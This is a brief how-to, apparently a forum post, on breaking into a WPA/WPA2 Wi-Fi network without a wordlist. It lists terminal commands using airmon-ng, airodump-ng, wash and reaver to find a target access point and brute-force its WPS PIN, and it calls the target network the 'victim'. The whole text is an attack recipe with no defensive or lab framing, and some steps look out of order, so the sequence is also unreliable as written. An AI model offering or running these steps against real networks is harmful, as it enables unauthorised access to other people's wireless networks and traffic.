How to hack WPA/WPA2 (No dictionary)

Open a terminal and type:
airmon-ng
airmon-ng stop wlan0 (In my case is wlan0)
airodump-ng wlan0 

Now open a new terminal and type
wash -i wlan0 -c 6 -C -s (Victim's channel may be different in my case is 6)

Now open another new terminal and type:
reaver -i wlan0 -b 00:11:22:33:44:55 --fail-wait=360 (Victim's BSSID...in my case is 00:11:22:33:44:55)